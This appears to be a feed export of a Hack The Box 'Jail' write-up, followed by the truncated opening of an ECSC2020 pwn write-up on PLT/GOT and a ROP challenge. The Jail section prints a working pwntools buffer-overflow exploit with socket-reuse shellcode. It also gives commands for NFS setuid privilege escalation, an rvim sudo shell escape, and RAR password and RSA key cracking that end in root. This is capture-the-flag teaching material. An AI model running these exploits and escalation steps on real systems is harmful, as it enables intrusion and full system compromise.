            <content:encoded><![CDATA[<h3>Hack The Box — Jail Write-up</h3><p>Jail is a Hack The Box Linux machine. It is rated with the difficulty level insane. The initial foothold requires a simple buffer overflow combined with escaping from an SELinux sandbox. The privilege escalation involves escaping rvim and cracking a password-protected RAR archive and a cryptographically unsecured public key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*cMZNb2MTKXT5ljnkqPgEAg.png" /></figure><p><strong>Port enumeration</strong></p><p>The first step is to enumerate the open ports. We will perform two different enumerations, a basic one to find the open ports and another one to get the services running on those ports.</p><pre>root@kali:~/htb/jail# nmap -p- jail.htb -oN all.htb<br># Nmap 7.80 scan initiated Sat May 16 10:05:09 2020 as: nmap -p- -oN all.htb jail.htb<br>Nmap scan report for jail.htb (10.10.10.34)<br>Host is up (0.054s latency).<br>Not shown: 65529 filtered ports<br>PORT      STATE  SERVICE<br>22/tcp    open   ssh<br>80/tcp    closed http<br>111/tcp   open   rpcbind<br>2049/tcp  open   nfs<br>7411/tcp  open   daqstream<br>20048/tcp open   mountd</pre><pre># Nmap done at Sat May 16 10:07:47 2020 -- 1 IP address (1 host up) scanned in 157.90 seconds</pre><pre>root@kali:~/htb/jail# nmap -sC -sV -p80,22,111,2049,7411,20048 jail.htb -oN std.htb<br># Nmap 7.80 scan initiated Sat May 16 10:08:04 2020 as: nmap -sC -sV -p80,22,111,2049,7411,20048 -oN std.htb jail.htb<br>Nmap scan report for jail.htb (10.10.10.34)<br>Host is up (0.055s latency).</pre><pre>PORT      STATE SERVICE    VERSION<br>22/tcp    open  ssh        OpenSSH 6.6.1 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)<br>|   256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)<br>|_  256 6b:f8:dc:27:4f:1c:89:67:a4:67:c5:ed:07:53:af:97 (ED25519)<br>80/tcp    open  http       Apache httpd 2.4.6 ((CentOS))<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.6 (CentOS)<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>111/tcp   open  rpcbind    2-4 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  3,4          111/tcp6  rpcbind<br>|   100000  3,4          111/udp6  rpcbind<br>|   100003  3,4         2049/tcp   nfs<br>|   100003  3,4         2049/tcp6  nfs<br>|   100003  3,4         2049/udp   nfs<br>|   100003  3,4         2049/udp6  nfs<br>|   100005  1,2,3      20048/tcp   mountd<br>|   100005  1,2,3      20048/tcp6  mountd<br>|   100005  1,2,3      20048/udp   mountd<br>|   100005  1,2,3      20048/udp6  mountd<br>|   100021  1,3,4      34773/tcp   nlockmgr<br>|   100021  1,3,4      46822/tcp6  nlockmgr<br>|   100021  1,3,4      55265/udp   nlockmgr<br>|   100021  1,3,4      59467/udp6  nlockmgr<br>|   100024  1          33624/udp   status<br>|   100024  1          38927/tcp   status<br>|   100024  1          43110/tcp6  status<br>|   100024  1          56969/udp6  status<br>|   100227  3           2049/tcp   nfs_acl<br>|   100227  3           2049/tcp6  nfs_acl<br>|   100227  3           2049/udp   nfs_acl<br>|_  100227  3           2049/udp6  nfs_acl<br>2049/tcp  open  nfs_acl    3 (RPC #100227)<br>7411/tcp  open  daqstream?<br>| fingerprint-strings: <br>|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: <br>|_    OK Ready. Send USER command.<br>20048/tcp open  mountd     1-3 (RPC #100005)<br>1 service unrecognized despite returning data.</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Sat May 16 10:11:13 2020 -- 1 IP address (1 host up) scanned in 188.72 seconds</pre><p>We can see that we have the following services available:</p><ul><li>ssh running OpenSSH 6.6.1 (protocol 2.0)</li><li>http running Apache httpd 2.4.6 ((CentOS))</li><li>rpcbind converts RPC program numbers into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening, and the RPC program numbers it is prepared to serve.</li><li>nfs is a distributed file system which allows a user on a host to access files over a network in a similar way to how it accesses files on local storage</li><li>mountd is the NFS mount daemon</li><li>an unknown service on port 7411</li></ul><p><strong>Web application enumeration</strong></p><p>The first step was to look for directories in the web application by using gobuster. We find some interesting stuff in /jailuser/dev.</p><pre>root@kali:~/htb/jail# gobuster dir -u <a href="http://jail.htb/">http://jail.htb/</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*eB7gdszc3-ihNmVmpmv0jA.png" /></figure><p><strong>Binary exploitation</strong></p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;netdb.h&gt;<br>#include &lt;netinet/in.h&gt;            <br>#include &lt;string.h&gt;                                                                  <br>#include &lt;unistd.h&gt;    <br>#include &lt;time.h&gt;                    <br>                                          <br>int debugmode;                          <br>int handle(int sock);<br>int auth(char *username, char *password);<br>                                                                                     <br>int auth(char *username, char *password) {  <br>    char userpass[16];     <br>    char *response;                                                                  <br>    if (debugmode == 1) {                                                            <br>        printf(&quot;Debug: userpass buffer @ %p\n&quot;, userpass);<br>        fflush(stdout);<br>    }                                                                                <br>    if (strcmp(username, &quot;admin&quot;) != 0) return 0;<br>    strcpy(userpass, password);<br>    if (strcmp(userpass, &quot;1974jailbreak!&quot;) == 0) {<br>        return 1;<br>    } else {                                                                         <br>        printf(&quot;Incorrect username and/or password.\n&quot;);<br>        return 0;<br>    }<br>    return 0;<br>}</pre><pre>int handle(int sock) {            <br>    int n;     <br>    int gotuser = 0;<br>    int gotpass = 0;<br>    char buffer[1024];<br>    char strchr[2] = &quot;\n\x00&quot;;<br>    char *token;                   <br>    char username[256];            <br>    char password[256];<br>    debugmode = 0;<br>    memset(buffer, 0, 256);<br>    dup2(sock, STDOUT_FILENO);<br>    dup2(sock, STDERR_FILENO);                                                       <br>    printf(&quot;OK Ready. Send USER command.\n&quot;);<br>    fflush(stdout);            <br>    while(1) {  <br>        n = read(sock, buffer, 1024);<br>        if (n &lt; 0) {                                                                 <br>            perror(&quot;ERROR reading from socket&quot;);<br>            return 0;<br>        }<br>        token = strtok(buffer, strchr);                                              <br>        while (token != NULL) {<br>            if (gotuser == 1 &amp;&amp; gotpass == 1) {<br>                break;                                                               <br>            }                          <br>            if (strncmp(token, &quot;USER &quot;, 5) == 0) {                              <br>                strncpy(username, token+5, sizeof(username));<br>                gotuser=1;<br>                if (gotpass == 0) {<br>                    printf(&quot;OK Send PASS command.\n&quot;);<br>                    fflush(stdout); <br>                }<br>            } else if (strncmp(token, &quot;PASS &quot;, 5) == 0) {                      <br>                strncpy(password, token+5, sizeof(password));<br>                gotpass=1;         <br>                if (gotuser == 0) {<br>                    printf(&quot;OK Send USER command.\n&quot;);<br>                    fflush(stdout);<br>                }     <br>            } else if (strncmp(token, &quot;DEBUG&quot;, 5) == 0) {<br>                if (debugmode == 0) {<br>                    debugmode = 1;<br>                    printf(&quot;OK DEBUG mode on.\n&quot;);<br>                    fflush(stdout);<br>                } else if (debugmode == 1) {<br>                    debugmode = 0;<br>                    printf(&quot;OK DEBUG mode off.\n&quot;);<br>                    fflush(stdout);<br>                }<br>            }<br>            token = strtok(NULL, strchr);<br>        }<br>        if (gotuser == 1 &amp;&amp; gotpass == 1) {<br>            break;<br>        }<br>    }<br>    if (auth(username, password)) {<br>        printf(&quot;OK Authentication success. Send command.\n&quot;);<br>        fflush(stdout);<br>        n = read(sock, buffer, 1024);<br>        if (n &lt; 0) {<br>            perror(&quot;Socket read error&quot;);<br>            return 0;<br>        }<br>        if (strncmp(buffer, &quot;OPEN&quot;, 4) == 0) {<br>            printf(&quot;OK Jail doors opened.&quot;);<br>            fflush(stdout);<br>        } else if (strncmp(buffer, &quot;CLOSE&quot;, 5) == 0) {<br>            printf(&quot;OK Jail doors closed.&quot;);<br>            fflush(stdout);<br>        } else {<br>            printf(&quot;ERR Invalid command.\n&quot;);<br>            fflush(stdout);<br>            return 1;<br>        }<br>    } else {<br>        printf(&quot;ERR Authentication failed.\n&quot;);<br>        fflush(stdout);<br>        return 0;<br>    }<br>    return 0;<br>}</pre><pre>int main(int argc, char *argv[]) {<br>    int sockfd;<br>    int newsockfd;<br>    int port;<br>    int clientlen;<br>    char buffer[256];<br>    struct sockaddr_in server_addr;<br>    struct sockaddr_in client_addr;<br>    int n;<br>    int pid;<br>    int sockyes;<br>    sockyes = 1;<br>    sockfd = socket(AF_INET, SOCK_STREAM, 0);<br>    if (sockfd &lt; 0) {<br>        perror(&quot;Socket error&quot;);<br>        exit(1);<br>    }<br>    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &amp;sockyes, sizeof(int)) == -1) {<br>        perror(&quot;Setsockopt error&quot;);<br>        exit(1);<br>    }<br>    memset((char*)&amp;server_addr, 0, sizeof(server_addr));<br>    port = 7411;<br>    server_addr.sin_family = AF_INET;<br>    server_addr.sin_addr.s_addr = INADDR_ANY;<br>    server_addr.sin_port = htons(port);<br>    if (bind(sockfd, (struct sockaddr*)&amp;server_addr, sizeof(server_addr)) &lt; 0) {<br>        perror(&quot;Bind error&quot;);<br>        exit(1);<br>    }<br>    listen(sockfd, 200);<br>    clientlen = sizeof(client_addr);<br>    while (1) {<br>        newsockfd = accept(sockfd, (struct sockaddr*)&amp;client_addr, &amp;clientlen);<br>        if (newsockfd &lt; 0) {<br>            perror(&quot;Accept error&quot;);<br>            exit(1);<br>        }<br>        pid = fork();<br>        if (pid &lt; 0) {<br>            perror(&quot;Fork error&quot;);<br>            exit(1);<br>        }<br>        if (pid == 0) {<br>            close(sockfd);<br>            exit(handle(newsockfd));<br>        } else {<br>            close(newsockfd);<br>        }<br>    }<br>}</pre><p>By looking at the source code we can see it is sort of a web server which accepts incoming connections and implements its communication protocol. It accepts three different message types:</p><ul><li>DEBUG enables the debug mode</li><li>USER followed by a username start the authentication process (the username must be admin otherwise the program exists)</li><li>PASS followed by the password finished the authentication process</li></ul><p>In the auth function, we can spot a buffer overflow when it copies password into userpass. The buffer overflow exploitation is pretty straightforward so I won’t go into detail.</p><p>The only interesting detail is that we can’t start a reverse shell because of a firewall, thus we need to use the same socket. <a href="https://www.exploit-db.com/exploits/34060">Here</a> you can find the shellcode to do that. The C code which executes socket re-use is the following.</p><pre>// Get the next file descriptor and subtract one to get the one used on our socket<br>int sck = dup (0) - 1;</pre><pre>// Set our socket fd to be stdin, stdout and stderr<br>dup2 (sck, 0);<br>dup2 (sck, 1);<br>dup2  (sck, 2);</pre><pre>// Replace the current process with a new process image<br>execv (&quot;/bin/sh&quot;, NULL);</pre><p>Below we can find the exploit. The idea is that first, we have to leak an address to our shellcode in the stack by enabling debug mode. Following, we have to send the exploit by using the previous leak.</p><pre>#!/usr/bin/env python</pre><pre>from pwn import *<br>import argparse</pre><pre>context.arch = &#39;i386&#39;<br>context.os = &#39;linux&#39;<br>context.endian = &#39;little&#39;<br>context.word_size = 32<br>context.log_level = &#39;INFO&#39;</pre><pre>program_name = &#39;./jail&#39;<br>binary = ELF(program_name)</pre><pre>local_server = &#39;localhost&#39;<br>local_port = &#39;7411&#39;</pre><pre>remote_server = &#39;jail.htb&#39;<br>remote_port = &#39;7411&#39;</pre><pre>parser = argparse.ArgumentParser(description=&#39;Exploit the bins.&#39;)<br>parser.add_argument(&#39;--remote&#39;, &#39;-r&#39;, action=&quot;store_true&quot;)<br>args = parser.parse_args()</pre><pre>def init_conn():<br>    if args.remote:<br>        return remote(remote_server, remote_port)<br>    else:<br>        return remote(local_server, local_port)</pre><pre>def leak():<br>    p = init_conn()<br>    p.sendlineafter(&quot;OK Ready. Send USER command.\n&quot;,&quot;DEBUG&quot;)<br>    p.sendlineafter(&quot;OK DEBUG mode on.\n&quot;, &quot;USER admin&quot;)<br>    p.sendlineafter(&quot;OK Send PASS command.\n&quot;, &quot;PASS pass&quot;)<br>    recv = p.recvline().strip().split(&quot; &quot;)[-1]<br>    p.close()<br>    return int(recv, 16)</pre><pre># <a href="https://www.exploit-db.com/exploits/34060">https://www.exploit-db.com/exploits/34060</a><br>shellcode = &quot;&quot;<br>shellcode += &quot;\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6&quot;<br>shellcode += &quot;\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80&quot;<br>shellcode += &quot;\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6&quot;<br>shellcode += &quot;\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e&quot;<br>shellcode += &quot;\x89\xe3\x31\xc9\xcd\x80&quot;;</pre><pre>buffer_start = leak()<br>log.info(&quot;Start of buffer is: &quot; + str(hex(buffer_start)))<br>leak = p32(buffer_start + 32)</pre><pre>payload = &quot;&quot;<br>payload += &quot;A&quot; * 28<br>payload += leak<br>payload += shellcode</pre><pre>p = init_conn()<br>p.sendlineafter(&quot;OK Ready. Send USER command.\n&quot;,&quot;DEBUG&quot;)<br>p.sendlineafter(&quot;OK DEBUG mode on.\n&quot;, &quot;USER admin&quot;)<br>p.sendlineafter(&quot;OK Send PASS command.\n&quot;, &quot;PASS &quot; + payload)<br>p.interactive()</pre><p><strong>SELinux</strong></p><p>Once we are inside the box and we verify the user we are impersonating, we spot a strange string saying context=system_u:system_r:unconfined_service_t:s0 which means we might have to deal with SELinux. <a href="https://en.wikipedia.org/wiki/Security-Enhanced_Linux">Security-Enhanced Linux</a> (SELinux) is a kernel module that provides the possibility to enhance security controls by monitoring the actions that are taking place on the host such as the access to files and network resources.</p><p>A context is made up of a username, a role and a domain. Policies are then written to give permissions to different users, roles or types to perform certain actions. We can observe that user nobody is running with a system user and role context and an unconfined_service_t type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*4RV0pRW09oBJv2r9G6Lc5A.png" /></figure><p>A good explanation for the unconfined term is given <a href="https://wiki.gentoo.org/wiki/SELinux/Tutorials/What_is_this_unconfined_thingie_and_tell_me_about_attributes">here</a>. Based on the explanation, it looks like we have almost all the access.</p><pre>The idea behind unconfined domains is to support SELinux-enabled  systems where the network-facing daemons (the services) are running in  confined domains (like <em>auditd_t</em>, <em>sshd_t</em>, etc.) but where the users themselves run in a more unrestricted fashion: all commands they execute are trusted by the system.</pre><pre>When such configurations are used, SELinux is mainly set up to  protect against remote attacks (and remotely exploitable  vulerabilities). Local attacks (any exploitable vulnerability that  requires local access) are thus not mitigated when using SELinux with  unconfined domains.</pre><pre>The huge advantage in such setups is that the policy development  is much easier, and users have little impact from SELinux to begin with.  Systems that do not support unconfined domains require their users to  have more knowledge about SELinux before they can truly work on their  system.</pre><p><strong>Privilege escalation to </strong><strong>frank user</strong></p><p>To enumerate the NFS Share we have to check which shares are exported first by looking at /etc/exports. We can see that we have read and write permissions over the network and the shares are synchronised. root_squash means that the root user will be connected as the user nobody to avoid the upload of binaries with the setuid bit enabled. However, no_all_squash signals that all the other users can connect normally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*5Iwtv6HKJy4p_S8KATqSgA.png" /></figure><p>It looks like we need to find a way to impersonate the user frank. Also, the /var/nfsshare folder is writable by the users in the group frank.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*rvtdZKwYErlpUUSIwJVXbQ.png" /></figure><p>User frank has the following entry in /etc/passwd:</p><pre>frank:x:1000:1000:frank:/home/frank:/bin/bash</pre><p>The plan to escalate privileges is the following:</p><ul><li>mount the /var/nfsshare folder</li><li>create a user and make it part of group 1000</li><li>impersonate the newly created user</li><li>write and compile a binary with the suid bit set in the nfsshare</li><li>from the jail machine run the binary</li></ul><pre>root@kali:~/htb/jail# mkdir -p /mnt/jail/nfsshare/<br>root@kali:~/htb/jail# mount -t nfs -o vers=3 jail.htb:/var/nfsshare /mnt/jail/nfsshare/<br>root@kali:~/htb/jail# groupadd 1000<br>root@kali:~/htb/jail# useradd gabi -g 1000<br>root@kali:~/htb/jail# su - gabi<br>$ cd /mnt/jail/nfsshare<br>$ vim sh.c<br>$ cat sh.c<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>int main( int argc, char *argv[] )<br>{<br>        setreuid(1000, 1000);<br>        printf(&quot;ID: %d\n&quot;, geteuid());<br>        execve(&quot;/bin/sh&quot;, NULL, NULL);<br>}<br>$ gcc sh.c -o sh<br>$ chmod u+s sh</pre><p><strong>Privilege escalation to root</strong></p><p>After escalating to frank and doing a little enumeration to what commands are allowed to be executed by another user, we see that we can run rvim as the adm user. Once inside vim we can easily spawn a new shell by using a python command such as python import pty; pty.spawn(“/bin/bash”).</p><pre>$ id<br>uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0</pre><pre>$ sudo -l<br>Matching Defaults entries for frank on this host:<br>    !visiblepw, always_set_home, env_reset, env_keep=&quot;COLORS DISPLAY HOSTNAME<br>    HISTSIZE KDEDIR LS_COLORS&quot;, env_keep+=&quot;MAIL PS1 PS2 QTDIR USERNAME LANG<br>    LC_ADDRESS LC_CTYPE&quot;, env_keep+=&quot;LC_COLLATE LC_IDENTIFICATION<br>    LC_MEASUREMENT LC_MESSAGES&quot;, env_keep+=&quot;LC_MONETARY LC_NAME LC_NUMERIC<br>    LC_PAPER LC_TELEPHONE&quot;, env_keep+=&quot;LC_TIME LC_ALL LANGUAGE LINGUAS<br>    _XKB_CHARSET XAUTHORITY&quot;, secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin</pre><pre>User frank may run the following commands on this host:<br>    (frank) NOPASSWD: /opt/logreader/logreader.sh<br>    (adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c</pre><pre>$ sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c<br>:python import pty; pty.spawn(&quot;/bin/bash&quot;)</pre><pre>bash-4.2$ $ id<br>uid=3(adm) gid=4(adm) groups=4(adm) context=system_u:system_r:unconfined_service_t:s0</pre><p>Once we are user adm and we check its home directory we see a few hidden folders containing some interesting files. Next, we copy the RAR file to our local machine to unrar it. Once we try to decompress it locally we realise that it is encrypted. For the .frank file, we can assume it is some kind of substitution cipher since the punctuation is the same and the letters seem to have some kind of pattern. After trying to statistically infer the cipher type by using some online tools we find that it is Hahaha! Nobody will guess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!. This points to the Alcatraz escape of Frank Morrison in 1962.</p><p>Following, we use rar2john to extract the password hash so we can crack it and hashcat to create a list of words containing Morris1962 followed by a symbol. After cracking it with john we get the password Morris1962!. The extracted file is a public key, on which we’ll try some common attacks to get the private key by using <a href="https://github.com/Ganapati/RsaCtfTool">RsaCtfTool</a>.</p><pre>bash-4.2$ $ cd ~</pre><pre>bash-4.2$ $ ls -la<br>total 4<br>drwxr-x---.  3 root adm    19 Jul  3  2017 .<br>drwxr-xr-x. 23 root root 4096 May 25 13:41 ..<br>drwxr-x---.  3 root adm    52 Jul  3  2017 .keys</pre><pre>bash-4.2$ $ cd .keys</pre><pre>bash-4.2$ $ ls -la<br>total 8<br>drwxr-x---. 3 root adm  52 Jul  3  2017 .<br>drwxr-x---. 3 root adm  19 Jul  3  2017 ..<br>drwxr-x---. 2 root adm  20 Jul  3  2017 .local<br>-rw-r-----. 1 root adm 475 Jul  3  2017 keys.rar<br>-rw-r-----. 1 root adm 154 Jul  3  2017 note.txt</pre><pre>bash-4.2$ $ cat note.txt<br>Note from Administrator:<br>Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.</pre><pre>bash-4.2$ $ cd .local<br>cd .local</pre><pre>bash-4.2$ $ ls -la<br>total 4<br>drwxr-x---. 2 root adm  20 Jul  3  2017 .<br>drwxr-x---. 3 root adm  52 Jul  3  2017 ..<br>-rw-r-----. 1 root adm 113 Jul  3  2017 .frank</pre><pre>bash-4.2$ $ cat .frank<br>Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!</pre><pre>bash-4.2$ $ base64 keys.rar<br>UmFyIRoHAM+QcwAADQAAAAAAAAALnXQkhEAAgAEAAMMBAAAD7rRLW0tk40odMxgApIEAAHJvb3Rh<br>dXRob3JpemVkc3Noa2V5LnB1YnI+qg+QiYZnpO86O3+rX46ki9CMd7+qCC09p9xDL5gF8Wgwc7mZ<br>K9wkiTpvXO4vmmM50barFVJi55jD3l9J8var5iMCb8+Lrpn2e79rXFKzktBJ2e3/cSLUZRSv33cQ<br>Fk2+9b43PDDjUD6IQ6FVbjc72sy6/8bMu7k8MYtJWFRHsLTwIXi0ZMrd/vydVFq7vQiUPYbt7H0S<br>scXY4crEf9ann9iQyl6V034tluMZ9VQ6DmkXk53ekSbb3/Ck5/1hb9qj2RpBQUNTW70fQIbDXjcO<br>p+qKerl8cfpDdo7JDRZbmJBuYd5zgFEASKHrew3spqQ/gZrNO6m/VvI/ZUa6DTmqhguHYKC838c9<br>JzzDmW52daeuPMZtdTz2B0Enz5eBdV2XLbofx6ZA3nIYco6DJMvU9NxOfaLgnTj/JWRVAgUjoEgQ<br>UdcyWDEWoDYh+ARbAfG+qyqRhF8ujgUqYWNbXY8FxMsrTPdcWGz8348OZsMWH9NS5S8/KeIoGZU1<br>YhfpP/6so4ihWCnWxD17AEAHAA==</pre><pre>root@kali:~/htb/jail# unrar x keys.rar<br>UNRAR 5.61 beta 1 freeware      Copyright (c) 1993-2018 Alexander Roshal<br>Extracting from keys.rar<br>Enter password (will not be echoed) for rootauthorizedsshkey.pub:</pre><pre>root@kali:~/htb/jail# rar2john keys.rar &gt; ./hash.txt</pre><pre>root@kali:~/htb/jail# hashcat --stdout -a 3 Morris1962?s &gt; ./wordlist.txt</pre><pre>root@kali:~/htb/jail# john --wordlist=./wordlist.txt ./hash.txt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (rar, RAR3 [SHA1 128/128 AVX 4x AES])<br>Will run 4 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>Morris1962!      (keys.rar)<br>1g 0:00:00:00 DONE (2020-05-26 17:42) 4.761g/s 157.1p/s 157.1c/s 157.1C/s Morris1962...Morris1962 <br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed<br>root@kali:~/htb/jail# john ./hash.txt --show<br>keys.rar:Morris1962!:1::rootauthorizedsshkey.pub</pre><pre>1 password hash cracked, 0 left</pre><pre>root@kali:~/htb/jail# echo Morris1962! | unrar x keys.rar<br>UNRAR 5.61 beta 1 freeware      Copyright (c) 1993-2018 Alexander Roshal<br>Extracting from keys.rar<br>Extracting  rootauthorizedsshkey.pub                                  OK <br>All OK</pre><pre>root@kali:~/htb/jail# cat rootauthorizedsshkey.pub <br>-----BEGIN PUBLIC KEY-----<br>MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQYHLL65S3kVbhZ6kJnpf072<br>YPH4Clvxj/41tzMVp/O3PCRVkDK/CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//<br>DmcIo1pJGKy8LDrwdpsSjVmvSgg39nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6Pd<br>D/qlaFM8B87MHZlW1fqe6QKBgQVY7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/w<br>Wt2/7A1Xgi5ckTFMG5EXhfv67GfCFE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAx<br>I85LArqOGc6QoVPS7jx5h5bK/3Oqm3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFug<br>a99GCw==<br>-----END PUBLIC KEY-----</pre><pre>root@kali:~/htb/jail# /opt/RsaCtfTool/RsaCtfTool.py --publickey ./rootauthorizedsshkey.pub --private</pre><pre>root@kali:~/htb/jail# vim id_rsa_root<br>root@kali:~/htb/jail# mv key id_rsa_root<br>root@kali:~/htb/jail# chmod 0600 id_rsa_root<br>root@kali:~/htb/jail# ssh -i id_rsa_root jail.htb<br>[root@localhost ~]# id<br>uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023</pre><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><p><strong>Sources</strong></p><ol><li><a href="https://www.exploit-db.com/exploits/34060">https://www.exploit-db.com/exploits/34060</a></li><li><a href="https://0x00sec.org/t/remote-exploit-shellcode-without-sockets/1440">https://0x00sec.org/t/remote-exploit-shellcode-without-sockets/1440</a></li><li><a href="https://en.wikipedia.org/wiki/Security-Enhanced_Linux">https://en.wikipedia.org/wiki/Security-Enhanced_Linux</a></li><li><a href="https://wiki.gentoo.org/wiki/SELinux/Tutorials/What_is_this_unconfined_thingie_and_tell_me_about_attributes">https://wiki.gentoo.org/wiki/SELinux/Tutorials/What_is_this_unconfined_thingie_and_tell_me_about_attributes</a></li><li><a href="https://github.com/Ganapati/RsaCtfTool">https://github.com/Ganapati/RsaCtfTool</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e279862155d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[pwn] ECSC2020 Romania — Write-up]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/pwn-ecsc2020-romania-write-up-fac989d11f96?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/fac989d11f96</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[pwn]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Mon, 11 May 2020 18:15:52 GMT</pubDate>
            <atom:updated>2020-05-11T18:15:52.808Z</atom:updated>
            <content:encoded><![CDATA[<h3>[pwn] ECSC2020 Romania — Write-up</h3><p>The past weekend I took part in a CTF organised for qualifying to the ECSC 2020 in the Romanian team. In this post, I will explain how I solved the two pwn challenges available. I have to mention that the remote server is Ubuntu 20.04, thus we need to use libc-2.31.</p><p><strong>PLT and GOT</strong></p><p>First I would like to explain the concepts of PLT and GOT. The Global Offset Table (GOT) is made up of the .got and .got.plt sections. The .got segment holds the addresses of the functions in libc. The addresses in GOT are populated dynamically by the dynamic linker while the program is running. The .got.plt holds a reference to .got for each symbol.</p><p>The Procedure Linkage Table (PLT) contains only one section, .plt. For each function in an outside library referenced in our program, we have an entry in .plt which is actually a jump to the address in .got.plt for that function. <a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">Here</a> I have found a very good explanation of how shared functions are linked. <a href="https://www.youtube.com/watch?v=kUk5pw4w0h4">LiveOverflow</a> also has a nice video where he explains the process.</p><pre>The first time a shared function is called, the GOT contains a pointer back to the PLT, where the dynamic linker is called to find the actual location of the function in question. The location found is then written to the GOT. The second time a function is called, the GOT contains the known location of the function. This is called “lazy binding.” This is because it is unlikely that the location of the shared function has changed and it saves some CPU cycles as well.</pre><p><strong>pwn_baby_rop</strong></p><p>This challenge is a return-oriented-programming one. However, the binary has been slightly modified so that it doesn’t decompile nicely. Therefore, IDA was not of much help this time. The only security measures in place are:</p><ul><li>NX -&gt; the stack is not executable</li><li><a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">Partial RELRO</a> -&gt; the non-PLT part of the GOT section is read-only</li><li>ASLR is enabled on remote, meaning the base address of libc is randomised on the remote server</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L8J6-0LVy_i0KV9vzQLUmw.png" /><figcaption>The active security measures</figcaption></figure><p>To understand the source code first I disassembled the binary in IDA, then I opened it in GDB and disassembled the range of addresses where I knew a function was residing. The functionality of main is the following:</p><ul><li>Sets the buffer mode for stdin and stdout</li><li>Prints Solve this challenge to prove your understanding to black magic.</li><li>Calls a function at 0x401176</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*lNUQwe5o33fiEVVkkwZdXg.png" /><figcaption>The main function disassembled</figcaption></figure><p>The function called by main is the one which contains the vulnerability. It doesn’t do much except for the vulnerability itself which is a buffer overflow by using gets with no bounds checking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*QvA_7qXauaC8-i-VyGfSrQ.png" /><figcaption>The function called by main</figcaption></figure><p>To exploit the vulnerability we need to find out how far away from the start of our input string lies the address of main where the execution will return to after the function ends. To do this we create a pattern and set a breakpoint at the ret instruction of the function. Consequently, we search for the data on the stack in the pattern. It looks like we need 264 bytes to overflow the return instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kvBemmlX3F4sQSORz1NtLA.png" /><figcaption>Finding out the pattern offset</figcaption></figure><p>First, we need to 